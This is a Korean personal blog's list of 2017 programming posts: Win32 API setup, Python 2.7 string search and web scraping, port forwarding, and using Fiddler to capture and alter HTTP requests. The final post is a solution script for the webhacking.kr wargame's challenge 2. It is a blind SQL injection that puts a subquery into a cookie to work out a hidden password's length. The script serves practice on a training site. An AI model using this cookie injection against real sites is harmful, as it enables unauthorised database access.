Post List

2017년 7월 27일 목요일

win32 api 시작하기

 c, c++를 배우고 나니 직접 응용프로그램을 만들고 싶어졌다. c++언어로 프로그램을 만들 수 있는 애플리케이션이 win32 api와 MFC가 있어서 뭘 배워야 할지 고민했다. MFC가 좀 더 세련된 툴을 제공하는 것 같아 보였지만 많이 복잡해 보여서 열심히 구글링을 해본 결과 아주 자세히 설명된 블로그를 찾을 수 있었다.

 링크 여기에 들어가보면 응용 프로그램 개발에 대한 커리큘럼(?)이 이해되기 쉽게 나와 있으니 참고해보자!

 위의 글에서 win32 api를 먼저 배워 윈도우 메시지에 대한 전반적인 이해를 하고 MFC를 시작하면 좋다고 한다.  SoEn:소프트웨어 공학 연구소 여기에 win32 api에 대한 기초강의가 잘 설명돼 있으니 굳이 책을 사지 말고 무료로 기초를 다져 봅시다.


1. 프로젝트 만들기

1. visual studio 에 들어가 새 프로젝트를 누른다.


2. 다음

3.

위의 과정으로 win 32 api 개발을 위한 프로젝트 환경이 모두 준비됐다.


2. 빈 창을 띄우는 코드 실행하기  


1. 소스 파일에 새 항목을 추가하여 main.cpp 파일을 만들자!

2. 추가된 메인 파일에 아래 코드를 복붙 하면 완료!!!

빈 창을 띄우는 winapi 코드 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <windows.h>
 
LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
HINSTANCE g_hInst;
LPSTR lpszClass="First";
 
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance
          ,LPSTR lpszCmdParam,int nCmdShow)
{
    HWND hWnd;
    MSG Message;
    WNDCLASS WndClass;
    g_hInst=hInstance;
    
    WndClass.cbClsExtra=0;
    WndClass.cbWndExtra=0;
    WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
    WndClass.hCursor=LoadCursor(NULL,IDC_ARROW);
    WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
    WndClass.hInstance=hInstance;
    WndClass.lpfnWndProc=(WNDPROC)WndProc;
    WndClass.lpszClassName=lpszClass;
    WndClass.lpszMenuName=NULL;
    WndClass.style=CS_HREDRAW | CS_VREDRAW;
    RegisterClass(&WndClass);
 
    hWnd=CreateWindow(lpszClass,lpszClass,WS_OVERLAPPEDWINDOW,
          CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
          NULL,(HMENU)NULL,hInstance,NULL);
    ShowWindow(hWnd,nCmdShow);
    
    while(GetMessage(&Message,0,0,0)) {
        TranslateMessage(&Message);
        DispatchMessage(&Message);
    }
    return Message.wParam;
}
 
LRESULT CALLBACK WndProc(HWND hWnd,UINT iMessage,WPARAM wParam,LPARAM lParam)
{
    switch(iMessage) {
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    return(DefWindowProc(hWnd,iMessage,wParam,lParam));
}
cs



3. 에러 잡기!


위의 코드를 컴파일 하면 되부분 될 텐데 안되는 사람도 있을 거다.
error C2440: '=' : 'LPSTR'에서 'LPCWSTR'(으)로 변환할 수 없습니다.
error C2664: 'CreateWindowExW' : 매개 변수 2을(를) 'LPSTR'에서 'LPCWSTR'(으)로 변환할 수 없습니다.

위와 같은 에러가 뜨면서 안되는 사람들은 아래와 같은 방법으로 해결 할 수 있다.

1. 프로젝트 속성에 들어가기

2. 구성속성/일반/문자 집합 항목에서 "멀티바이트  문자 집합 사용" 을 선택한다.

3. 구성속성/링커/중분 링크 사용 항목에서 "아니요" 를 선택한다.


오류 해결 끝~~

다음에는 win32 api를 통해 메모장을 제어하는 것을 구현해보자!

2017년 7월 24일 월요일

블로그에서 예쁘게 코드문 삽입하기! (코드 입력하기 Color Scripter)

다른 블로그들을 볼 때마다 코드들이 예쁘게 들어가야 읽기가 편해보였다.
열심히 알아본 결과 Color Scripter라는 사이트를 알게 되었는데 간단하면서도 디자인이 좋아 사용하기 시작했다. 

 Color Scripter 링크!!!: Color Scripter

사이트 화면 :

위에서 보면 언어 탭을 통해 원하는 언어를 선택할 수 있고
스타일패키지에서 흰색배경/검은색배경을 선택할 수 있으며
배경에서 얼룩무늬/단색/투명 을 선택할 수 있다.

그리고 바로 아래 1.이라고 쓰여있는 공간에 코드를 입력하면 예쁘게 코드가 꾸며지게 된다.

다 꾸며주고 나면 오른쪽아래에 클립보드에 복사 를 누르면 html 스크립트가 짜르륵 복사가 된다!! 이제 이 스크립트를 자신의 블로그 html 문서에 붙여 넣어주면 완성된다. 

예시 :

1
2
3
4
5
6
7
#include <iostream>
using namespace std;
int main(){
    return 0;
}
cs

[Python 2.7] 파이썬에서 문자열 내에 특정 문자열 찾기! (find(), substring, re.finditer)

파이썬을 통해 웹사이트의 html문서를 받는 경우가 있다. 이때 문서 내에 특정 단어의 위치를 찾아야 한다면 간단한 함수를 이용할 수 있다. 예시로 'hello world!' 라는 문자열에서 'word'라는 특정 문자열을 찾으려 한다.

1. find() 함수

1
2
3
4
str1 = 'hello world!'
str2 = 'world'
= str1.find(str2)
print str1[a]
cs

find 함수를 통해 찾고자 하는 특정 문자열을 입력하면 반환 값으로 그 문자열의 시작위치가 나온다. 따라서 str1[a]의 값은 str2가 나오는 문자열의 시작위치로 'w'가 된다. 만약 찾고자 하는 문자열이 없다면 반환값으로 -1을 보낸다.

그러나 find 함수에는 단점이 있다. 찾고자 하는 특정 문자열이 여러 개인 경우에는 최초 발견 한 녀석의 시작위치만 알려준다. 즉, 그 뒤에 나오는 녀석들의 위치는 알 수가 없다.

2. substring

대체 방법으로는 substring을 이용하는 것이다. substring 이란 문자열의 일부를 잘라버리는 것인데 아래와 같은 방법으로 쓸 수 있다.

1
2
3
4
5
6
7
str1 = 'hello world!'
print str1[2:]
>>> 'llo world!'
print str1[3:5]
>>> 'lo'
print str1[:2]
>>> 'he' 
cs

str1[0:] 은 처음 문자부터 끝까지 모두 해당하는 문자열 (str1[:], str1 과 동등!!)
str1[2:] 은 3번째 문자부터 끝까지 의 의미이고
str1[3:5] 은 4번째부터 5번째까지 문자열이고
str1[:2] 은 처음부터 2번째까지 문자열이다.
(매트랩을 사용한 사람들에겐 친숙할 것이다.)

이를 통해 특정 문자열이 여러개 나오는 경우 나오는 시작위치를 모두 반환할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
str1 = 'hello world! world world'
str2 = 'world'
    
= str1.find(str2)
print a
while str1[a+1:].find(str2) != -1:
    a = str1[a+1:].find(str2) + a + 1
    print a
>>>
6
13
19
cs

위에서 str1[a+1:].find(str2)를 실행하면 a+1의 위치를 0으로 기준을 하여 다음 위치를 반환 하기 때문에 실제 위치는 a+1을 더해줘야 한다. while문을 통해 -1(문자열이 없을 때 반환 되는 값)이 나올 때까지 반복했다.


3. re.finditer() 함수

그러나 substring을 이용한 방법말고 더 깔끔한 방법이 있다. 바로 re 모듈을 사용해 finditer()함수를 이용하는 것이다.

1
2
3
4
5
6
7
8
9
str1 = 'hello world! world world'
str2 = 'world'
    
for a in re.finditer(str2,str1) :
    print a.start()
>>>
6
13
19
cs

위에 처럼 for문을 이용하여 re.finditer(특정 문자열, 원래 문자열)을 돌리면 순차적으로 a에 특정 문자열의 iterator 값이 들어가게 된다.
여기서 a.start()를 하면 특정문자열의 시작위치가 반환되고
a.end()를 하면 특정문자열의 끝위치가 반환된다.

각 방법마다 장단점들이 있으니 다양하게 사용해봐야겠다.

2017년 7월 23일 일요일

[Python 2.7] 파이썬으로 웹 크롤러 만들기 - (멜론 차트 뽑아오기)

이전 포스트에서 파이썬으로 특정 웹사이트의 html 문서를 받는 걸 구현해봤다. (참고 : 파이썬으로 url 접속하기)
이를 바탕으로 웹 크롤러를 만들어 보려한다.

크롤링이란 웹상에 올라온 데이터들 중 원하는 데이터들만 뽑아서 캐가는 기술이다. 해외에서는 crawling 보다는 scrapping이라는 단어를 많이 선택하는 것 같다. 예전에 머신러닝을 위한 데이터들을 모을 때 크롤링을 시도한 적이 있다. 원하는 데이터의 양이 막대하고 찾고자 하는 데이터가 규칙을 가진다면 크롤링은 매우 유용하다.

지금은 멜론 TOP 100 차트의 해당 곡 이름들을 뽑아와 저장하는 코드를 짜봅시다.( 멜론 TOP 100 링크 : http://www.melon.com/chart/index.htm )


1
2
3
4
5
6
7
8
import urllib2
url = "http://www.melon.com/chart/index.htm"
user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'
request = urllib2.Request(url, None, {'User-Agent':user_agent})
data = urllib2.urlopen(request).read()
f=open("a.html","w")
f.write(str(data))
f.close()
cs


위의 코드는 멜론 TOP 100 링크로부터 html 문서를 받아오는 코드이다. 여기서 이전 글과 다른 건 user_agent라는 변수를 새로 쓰고 이를 HTTP header에 넣기 위해 urllib2.Request(url,None,{~~~}) 방식으로 값을 넣은 것이 있다.
http header에서 'User-Agent' 값은 client의 웹브라우저에 대한 정보를 담는 공간인데 아무것도 입력하지 않으면 파이썬에서 자동으로 'Python-urllib/2.7' 을 입력하여 http를 보낸다. 문제는 멜론에서 웹브라우저로 접속하지 않은 client들에게 html문서를 보내지 않는다는 것이다. 그래서 실제 크롬 웹브라우저가 가지는 'User-Agent' 값을 넣어 보낸 것이 위와 같다.

 자 이제 본격적으로 크롤링을 해봅시다. 크롤링을 하기 위해선 링크 부분의 html문 특징을 캐치해야한다.!! 위의 코드로 받아온 html 코드를 들여다 보자.


위에서 처럼 차트 순위에 있는 곡 이름 옆에는 <button type="button" class="btn_icon play" title=" 라는 문자열이 공통적으로 있다는 것을 알 수 있다. 그렇다면 data 변수에 저장된 문자열 중에 위 문자열의 위치를 찾고 '재생' 이라는 단어가 나오기 전까지의 문자열을 저장하면 된다.!!! 이 방법으로 코드를 짜보자.

1
2
3
4
5
6
7
8
9
import re
for iterate in re.finditer('<button type="button" class="btn_icon play" title="',data):
    a = iterate.end()
    b = ''
    i = 0
    while data[a+i] != '-':
        b = b+data[a+i]
        i += 1
 
cs

먼저 맨 윗줄에 re 모듈을 import 하자. 이 녀석이 문자열 내에 특정 문자열을 찾아주는 함수를 제공한다. 파이썬 내에 내장함수로 find() 함수가 있는데 이녀석은 특정 문자열이 여러개 있을 경우 최초 발견한 문자열만 찾아주므로 여기선 적합하지 않다.

for 문을 통해 iterate 변수 안에는 re.finditer() 함수의 반환값이 차례로 들어가게 된다. 발견된 특정 문자열의 시작 위치를 알고 싶으면 iterate.start() 로 알 수 있다. 하지만 여기선 특정 문자열의 마지막 위치를 알아야 하므로 iterate.end()를 사용했다.

이제 이를 활용하여 b 변수에 곡이름을 저장하도록 하자. while 문을 통해 a위치(iterate.end()의 반환값)부터 data 를 하나하나 확인하며 b에 저장한다. 그러다가 '-' 라는 문자가 나오면 저장을 끝낸다. 그렇게 되면 b에는 'Ko Ko Bop 재생 '이 저장된다.

우리가 원하는 목표는 b에 'Ko Ko Bop' 이 저장 되는 것이다. 그러므로 '재생'문자열이 나오는 시작위치를 찾아 내고 그 앞까지만 b에 저장하면 된다. 문제는 파이썬이 기본적으로 문자열을 unicode로 인코딩한다는 것이다. 그러므로 한글을 쓸 때 인코딩 문제로 매우 골치아픈 일이 생길 수 밖에 없다. 이를 해결하기 위해 다음과 같이 코드를 짰다.


1
2
3
str1 = unicode(' 재생','euc-kr').encode('utf-8')
= b.find(str1)
= b[0:c]
cs

str1 변수에 ' 재생'이라는 utf-8로 인코딩한 문자열을 저장한다. 이 문자열을 b에서 find() 함수를 통해 시작위치를 c에 저장하고 substring을 통해 b에 0번째 문자부터 c번째 문자까지 저장한다. 그렇게 되면 b에는 'Ko Ko Bop' 저장된다.

완성된 코드 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: cp949 -*-
import urllib2
import re
url = "http://www.melon.com/chart/index.htm"
user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'
request = urllib2.Request(url, None, {'User-Agent':user_agent})
data = urllib2.urlopen(request).read()
= open("chart.txt","w")
str1 = unicode(' 재생','euc-kr').encode('utf-8')
num = 1
for iterate in re.finditer('<button type="button" class="btn_icon play" title="',data):
    a = iterate.end()
    b = ''
    i = 0
    while data[a+i] != '-':
        b = b+data[a+i]
        i += 1
    f.write(str(num)+'.')
    f.write(b[0:b.find(str1)]+'\n')
    num += 1
f.close()
cs

파이썬코드가 저장된 폴더 내 chart.txt 파일에 멜론 차트가 번호순으로 저장된다.
짜자자자작~~!!!!

[Python 2.7] 파이썬으로 url 접속하기 (python2.7 버전)

c 언어를 이용해 웹 접근을 하려면 소켓 프로그래밍부터 공부해야한다. 소켓이란 프로그램이 네트워크를 통해 데이터를 주고받는 도구라고 볼 수 있다. 이 소켓을 이용해 HTTP 프로토콜을 구현하고 html 문서를 받는 코드까지 모두 짜려면 머리가 아플 것이다.

그래서 웹기반 모듈(c 언어에선 라이브러리와 같은 의미)이 잘 형성 되어 있는 파이썬을 이용하는 것이 효율적이다. 파이썬은 쉬운 언어에 속하므로 c언어나 다른 언어를 할 줄 알면 금방 습득할 수 있으니 웹 접근을 하고 싶으면 파이썬을 적극 추천한다.

먼저 https://www.python.org/downloads/ 이 링크를 타고 python-2.7.13을 받아봅시다.
받은 뒤 시작메뉴/python2.7/IDLE (Python GUI)을 실행시키자.


그 뒤에 File/New File 을 눌러 파이썬 코드를 작성하는 파일을 만든다.

한번 원하는 페이지의 html 파일을 받는 코드를 붙여 넣어 봅시다.
1
2
3
4
5
6
7
import urllib2
url = 'https://www.google.co.kr/'
request = urllib2.Request(url)
data = urllib2.urlopen(request).read()
print data
cs
위를 실행하면(키보드의 F5를 누르면 됩니다) GUI 창에서 코드가 실행되고 해당 html문이 짜르륵 출력된다.
아무리 봐도 코드가 정말 간단하다.

하나씩 봅시다.
1. urllib2란 url을 다루는 함수들을 모아둔 모듈이다. 이 모듈을 사용하려면 위와 같이 
import urllib2라고 작성하면된다.
2. url 변수에 원하는 사이트의 url 문자열을 입력 후
3. urllib2 모듈 내에 정의된 Request함수를 실행. 이때 반환 값을 request에 저장!
4. 여기서 urllib2의 urlopen 함수를 사용하면 해당 url에 접속하여 서버에서 제공하는 데이터를 받을 수 있다. 이 데이터를 읽으려면 read 함수가 필요함
6. data를 출력!!!


그러나 출력문이 매우길고 가독성이 힘들다...
따라서 파일로 저장 후 웹브라우저로 보는 것이 좋으므로 파일 저장 코드를 추가해보자.

1
2
3
= open("response.html","w")
f.write(str(data))
f.close()
cs

1. 파이썬에 내장된 open 함수를 통해 respone.html 파일을 write 모드로 연다.(파일이 없으면 자동 생성됨)
2. f에다 받아온 html문이 저장된 data를 write 함수를 통해 적는다.
3. 다 적었으면 write 모드를 끝낸다.


간단한 코드로 web에 접근 하는 방법을 봤다. 다음엔 이를 좀 더 활용해 크롤러를 만들어 봅시다!!

2017년 7월 12일 수요일

포트포워딩 설정

공유기를 이용해 인터넷을 사용하는 경우
고정 IP가 아닌 공유기가 할당해주는 IP를 쓴다.
그로 인해 서버를 운영하고 싶은 경우 포트포워딩을 설정해줘야한다.

예를 들어 111.11.11.11의 IP주소를 공유기가 가지고 있으면(이게 외부 IP)
공유기에 연결된 pc는 192.0.0.1이라는 IP주소를 공유기에게 할당받게 된다. 이를 내부 IP라고 한다.

이 경우에!! 111.11.11.11의 주소로 client가 접속하게 되면 공유기에 연결이 되지, 공유기에 연결된 pc의 서버에 연결이 되지 않다 ㅠㅠㅠㅠ

포트포워딩이란 외부 IP의 특정 포트로 클라이언트가 접속시 공유기가 특정 내부IP를 가진 pc의 서버로 연결해준다.
예를 들어 111.11.11.11:80(외부IP) <=> 192.0.0.1:80(내부IP) 이런식으로 포트포워딩을 할 수 있는데 만약 외부IP의 80번 포트로 데이터가 들어오면 공유기는 바로 192.0.0.1이라는 IP를 가진 pc의 80번 포트로 데이터를 보내준다는 것이다.



본론으로 들어가 포트포워딩을 하려면 공유기 IP를 주소창에 입력해주면 설정 창이 뜬다. 거기서 설정에 들어가 입력해주면 되는데 이건 구글링하면 엄청 많이 나오므로 생략한다. 문제는 이렇게 했음에도 불구하고 핸드폰으로 111.11.11.11:80을 들어가도 내 pc의 서버에 접속이 되지 않는 경우가 발생했다...

열심히 찾아본 결과!!! 공유기에서 특정포트로 데이터를 보내준다 해도 내 pc의 방화벽이 그 포트로의 데이터 출입을 막고있는 것이었다. 즉 pc의 방화벽도 설정을 바꿔줘야 한다.
이는 구글에 방화벽 인바운드 설정을 검색하면 상세히 설명되있다.
링크 : http://m.blog.naver.com/zeboll/20132849369

2017년 7월 10일 월요일

http 통신을 감독할 수 있는 Fiddler (트래픽 캡쳐 프로그램)

Fiddler 다운 링크 :
https://fiddler.kr.uptodown.com/windows

Fiddler

피들러는 http 통신이 pc내에서 오고가는 것을 모두 그대로 보여주는 프로그램이다. 단순히 통신이 오고가는 것(트래픽)을 보는 용도로 쓸 수 있지만 아래와 같은 용도로도 사용할 수 있다.

1. http traffic 캡처기능을 통해 프로토콜의 형식을 알아볼 수 있다.

 예전에 c++의 소켓 프로그래밍으로 직접 http 통신을 하려 했었다. 프로토콜의 방식과 원리를 알려주는 블로그나 싸이트들은 많았지만 정확한 프로토콜의 형식, 어떤 데이터를 어떤 문법에 맞춰 보내야하는지 자세히 나온 글을 찾아보기가 매우 힘들었다. Fiddler는 웹사이트의 서버로 제출되는 http의 데이터를 직접적으로 보여주기 때문에 소켓 프로그래밍을 작성하는데 많은 도움이 됐다.

 데이터 보는 방법 :


 1. 먼저 F12 를 눌러 capture traffic 동작을 시작한다. 동작이 진행되면 위 그림 처럼 Capturing 이라고 왼쪽 아래에 텍스트가 뜬다.
 2. 그 후 오른쪽 화면에 Log, Filters, Timeline, Statistics, Inspectors 등등 여러 탭이 있는데 거기서 Inspectors 탭에 들어간다.
 3. 탭에 들어가게 되면 바로 아래에 또 Headers, TextView, SyntaxView 등 여러 탭이 생기는데 거기서 Raw 탭에 들어긴다.
 4. 바로 아래 연한 파란색 화면에 뜬 것이 프로토콜의 데이터이다.

위를 통해 프로토콜에 대해서 공부할 수도 있으며 웹 크롤러를 만들 때 필요한 쿠키 정보나 여러 http의 헤더정보를 위 프로그램을 통해 손쉽게 얻을 수 있어 편리하다.

2. breaking point를 통해 request 요청전 데이터 값을 변조할 수 있다.

이 부분에서는 굳이 Fiddler로 변조를 하지 않고 파이썬의 urllib 모듈을 통해 직접 http의 데를 변경해 요청할 수 있다. 그치만 코드를 작성해야 한다는 번거로운 점이 있어 즉흥적으로 사용할 때 매우 유용한 기능이라 볼 수 있다.

 breaking point 잡는 2가지 방법 :

 1. 상단 메뉴중에 Rules(규칙) 메뉴를 클릭하고 하위 메뉴에서 Automatic Breakpoints클릭, Before Requests 를 선택한다.

 2. F11을 누른다. ( breakpoints를 해체 하려면 shift + F11을 누르면 된다.)


breakpoints를 잡으면 위 그림처럼 좌측 하단에 이상한 빨간 아이콘이 뜨게 되니 참고한다.

 데이터 값을 변조하는 방법 :
 breakpoints를 잡고 나면 모든 트래픽(http 형식으로 서버에 데이터를 요청 하는 것)들이 피들러에 의해 중단된다.
 그러면 사용자가 1.에서 설명한 Inspectors/Raw 탭에 들어가 데이터 값들을 수정할 수 있다.
 수정이 다 끝난 후 화면 중간에 Run to complete이라는 초록색 버튼을 누르면 트래픽이 정상적으로 서버로 보내진다.

[Python 2.7] 파이썬으로 웹의 이미지 가져오기

import urllib2

url = 'url입력'
cookie = 'cookie입력'

request = urllib2.Request(url, None, {'Host': 'Host 주소 입력', 'Cookie': cookie})
data = urllib2.urlopen(request).read()

f = open("img.jpg","wb")
f.write(str(data))
f.close()

---------------------------------------------------------------

여기서 image 파일을 오픈할 때 "w"가 아닌 binary write 형식인 "wb"를 써야한다!!

[Python 2.7] 파이썬에 cv 추가하기

1. opencv 추가하기


지정한 경로\opencv\build\python\2.7\x86폴더에서 cv2.pyd파일을 복사해서 자신의 파이썬 설치경로\Lib\site-packages(보통 C:\Python27\Lib\site-packages)에 붙여 넣는다.
(64비트를 위한 x64폴더가 있지만 Numpy가 32비트라서 문제가 된다. 그러므로 x86을 쓴다)

2. Numpy 설치하기


Numpy 선택 후 아래 파일 다운로드!
numpy-1.10.2-win32-superpack-python2.7.exe

출처: http://speark.tistory.com/9 [많이해라]


소스코드 실행 :


import cv2
import numpy as np

image = cv2.imread("a.png", cv2.IMREAD_COLOR)
cv2.imshow("image",image)
cv2.waitKey(0)

cv2.destroyAllWindows()

2017년 7월 9일 일요일

webhacking.kr 2번 문제 코드

일단 게시판의 비밀번호 길이를 구해보자.

import urllib2
import re
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
cookie = 'time=1492865588 and (select length(password) from FreeB0aRd)='

for i in range(2, 15) :
    print(i)
    add = '%d; PHPSESSID=세션아이디입력' % i
    real_cookie = cookie + add
    request = urllib2.Request(url, None, {'Host': 'webhacking.kr', 'Cookie': real_cookie})
    data = urllib2.urlopen(request).read()
    find = re.findall("<!--2070-01-01 09:00:01-->",data)
    if find:
        print("pw : %d") % i
        break
f = open("response.html","w")
f.write(str(data))
f.close()